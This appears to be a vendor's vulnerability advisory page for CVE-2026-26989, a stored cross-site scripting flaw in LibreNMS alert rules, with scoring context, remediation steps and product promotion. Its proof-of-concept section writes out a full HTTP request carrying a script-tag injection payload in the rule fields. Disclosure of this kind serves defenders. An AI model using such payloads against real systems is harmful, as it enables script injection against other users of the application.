CVE-2026-26989 is a medium-severity (CVSS 4.3) Cross-site Scripting (XSS) vulnerability in librenms/librenms. A fix is available for librenms/librenms — see the affected versions and patch details below.
LibreNMS has Stored XSS in Alert Rule
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-26989.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-26989 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
librenms/librenmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A stored Cross-Site Scripting (XSS) vulnerability exists in LibreNMS (<= 25.12.0) in the creation of Alert Rules. This allows a user with the admin role to inject malicious JavaScript, which will be executed when the alert rules page is viewed.
Details
The stored JavaScript is displayed at line 63 of inlcudes/html/modal/alert_rule_list.inc.php.
<td><i>" . e($rule_display) . "</i></td>
PoC
Request PoC:
POST /alert-rule HTTP/1.1
Host: 192.168.236.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF
X-Requested-With: XMLHttpRequest
Content-Length: 718
Origin: http://192.168.236.131
Connection: keep-alive
Referer: http://192.168.236.131/device/device=1/tab=edit/section=alert-rules
Cookie: XSRF-TOKEN=eyJpdiI6ImhpdDNwV29nZE1lYzc0NGxyK2dGK2c9PSIsInZhbHVlIjoiUkpXUUlMYTZwT2VaZmNPZExKcHNLQWxwOFVjaGM3Z2hzNVBSa2thTEluSDdBL3Q0amVURGp1Q0tjYm15akw1QmJacDRqY3Y1eTNzS3l1VSsvcjVUaTRIalBKQzVpUlRySktLTHlnTHQxa29NNzlxaXMxQzdsalpUeDNaWTRKSjkiLCJtYWMiOiIwZGQ4ZmEzZmFmZTJkOGIyZWIxOGVhZjE0MTU4ZWI5ZjFlYTI0Y2NkNjcwYTU2Y2JkMTM5MDAxZDg1YWIzY2M5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVWbzBKRU9IaURzOUJ6OVNjREVGbFE9PSIsInZhbHVlIjoiRlJPckhRRG4yZjFiUjdGMlZTUXlhNXArT0pMcUdQY3RaV1EvRWJZdGNWUFUzYjhVaWxLS1hFclpacmFHOGQyNllFaGF1ckRYQWZKNHdzNEQ5RHFmdzh3WEY3UFZvdGlqc3RQVUc2Mk1QYTZ0c045YWt0TG0rS2ttU0ZpV3NQMXkiLCJtYWMiOiI1YWM1OWM5MGMwOTcyNDk2OTU1NTBlY2ExZjQ4M2M1YmQ3ZWFlNzQ5NDVmZTgxOTEyMjNkNjJhM2EzZjY1OWE5IiwidGFnIjoiIn0%3D
Priority: u=0
_token=FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF&device_id=1&device_name=127.0.0.1&rule_id=&builder_json=%7B%22condition%22%3A%22AND%22%2C%22rules%22%3A%5B%7B%22id%22%3A%22access_points.accesspoint_id%22%2C%22field%22%3A%22access_points.accesspoint_id%22%2C%22type%22%3A%22string%22%2C%22input%22%3A%22text%22%2C%22operator%22%3A%22equal%22%2C%22value%22%3A%22%3Cscript%3Ealert(%5C%22xss%5C%22)%3C%2Fscript%3E%22%7D%5D%2C%22valid%22%3Atrue%7D&name=Test+rule&builder_rule_0_filter=access_points.accesspoint_id&builder_rule_0_operator=equal&builder_rule_0_value_0=%3Cscript%3Ealert(%22xss%22)%3C%2Fscript%3E&severity=warning&count=1&delay=1m&interval=5m&recovery=on&acknowledgement=on&maps%5B%5D=1&proc=¬es=&adv_query=
Steps to reproduce:
-
Create and save an alert rule within a device with the following values:
<img width="893" height="325" alt="image" src="https://github.com/user-attachments/assets/33bdb9a6-7c6c-4fd4-9e8e-b845cf9600ea" /> -
Injected JavaScript is executed:
<img width="1104" height="565" alt="image" src="https://github.com/user-attachments/assets/3d45c686-72e4-458a-93f6-e7fb749b966b" />
Impact
Type: Stored Cross-Site Scripting (XSS) Affected users: Only accounts with the admin role which can edit a device's alert rules are affected. Attackers need: Authenticated admin-level access.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | librenms/librenms | all versions | 26.2.0composer require librenms/librenms:^26.2.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update librenms/librenms to 26.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-26989 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-26989 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-26989. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-26989 in your dependencies?
O3 Security finds CVE-2026-26989 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.